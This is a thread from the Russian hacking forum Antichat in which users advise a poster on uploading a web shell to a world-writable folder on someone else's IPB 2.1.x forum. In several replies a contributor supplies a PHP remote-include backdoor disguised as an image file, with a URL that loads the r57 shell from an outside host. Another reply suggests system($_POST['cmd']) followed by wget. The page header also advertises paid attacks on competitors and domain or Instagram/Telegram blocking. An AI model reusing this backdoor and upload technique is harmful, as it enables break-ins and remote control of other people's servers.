Что можно сделать, если нашел папку 0777

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Что можно сделать, если нашел папку 0777

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

Что можно сделать, если нашел папку 0777

22.11.2005, 22:38

avrely

Новичок

Регистрация: 02.11.2005

Сообщений: 17

С нами: 10799734

Репутация: 0

Что можно сделать, если нашел папку 0777

Есть на форуме папка с Chmod 0777
Можно как-нить в неё загрузить файл?

𝕏 Twitter Reddit Telegram Копировать ссылку

22.11.2005, 22:45

~~africanec~~

Banned

Регистрация: 11.09.2005

Сообщений: 254

С нами: 10875266

Репутация: -12

какие у тебя права и т.д?

22.11.2005, 22:50

FQziT

Постоянный

Регистрация: 03.11.2005

Сообщений: 591

С нами: 10798886

Репутация: 523

Если папка открыта на запись, то это ещё не значит, что ты прям вот так просто сможешь заливать туда что-то)))) Это можно сделать ТОЛЬКО со стороны сервера, например, через какие-нить бажные скрипты шелл залить в эту папку. Это, если я правильно понимаю -))
Тоесть просто так всё равно ничё это не даёт.

13.02.2008, 01:37

Витян

Участник форума

Регистрация: 25.12.2006

Сообщений: 220

С нами: 10198406

Репутация: 243

форум ipb 2.1.х папка /uploads/, cmod 777, через загрузку фоты из профиля можно залить типа file.php.jpg в папке переименуецца на photo-1.txt размер загружаемого файла не больше 50 кб, залить шелл реально? или я туплю и мне пойти курить форум дальше? ...

13.02.2008, 01:42

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

Хм..... если они все переименовываются в txt, то значит txt опеределяется апачем как пхп т.к. фотки ведь отображаются...
Шелл должен работать

13.02.2008, 01:54

Витян

Участник форума

Регистрация: 25.12.2006

Сообщений: 220

С нами: 10198406

Репутация: 243

переименовываются file.php.jpg , а скрипт переименованный в file.jpg пишет Неудачная загрузка. Обратитесь к администрации форума для помощи.
шелл весит 100 кб )...нужно что-то поменьше

Последний раз редактировалось Витян; 13.02.2008 в 01:57..

13.02.2008, 01:57

Xeeper

Новичок

Регистрация: 06.03.2005

Сообщений: 19

С нами: 11147367

Репутация: 5

Есть шеллы поменьше

13.02.2008, 02:03

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

Сложно подумать =\

Создай файл file.php.jpg
С содержимым:

PHP код:


		
			
<?php

if(isset($_GET['xek'])) include($_GET['xek']);

?>

И к картинке своей обращайся file_kartinki.txt?xek=http://ontechad.by.ru/r57shell.php

13.02.2008, 02:17

~~Piflit~~

Banned

Регистрация: 11.08.2006

Сообщений: 1,522

С нами: 10393869

Репутация: 2032

Цитата:

Сообщение от Isis

Сложно подумать =\

Создай файл file.php.jpg
С содержимым:

PHP код:


		
			
<?php

if(isset($_GET['xek'])) include($_GET['xek']);

?>

И к картинке своей обращайся file_kartinki.txt?xek=http://ontechad.by.ru/r57shell.php

на некоторых хостах запрещен ремоут инклуд. так что лучше system($_POST['cmd']); а потом wget

#10

13.02.2008, 02:24

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,315

С нами: 10248806

Репутация: 2371

Цитата:

Сообщение от Piflit

на некоторых хостах запрещен ремоут инклуд. так что лучше system($_POST['cmd']); а потом wget

На некоторых хостах запрещен system

Страница 1 из 2

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Социальная инженерия. Профессиональное программирование. Последовательный взлом	dinar_007	Болталка	15	23.12.2008 12:30
химия своими руками	silveran	Болталка	43	11.01.2006 22:05
Ru.phreak Faq	silveran	Электроника и Фрикинг	0	21.07.2005 10:20
Что можно сделать с ip адресом	iRedX	Skype, IRC, ICQ, Jabber и другие IM	1	01.04.2003 21:21

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход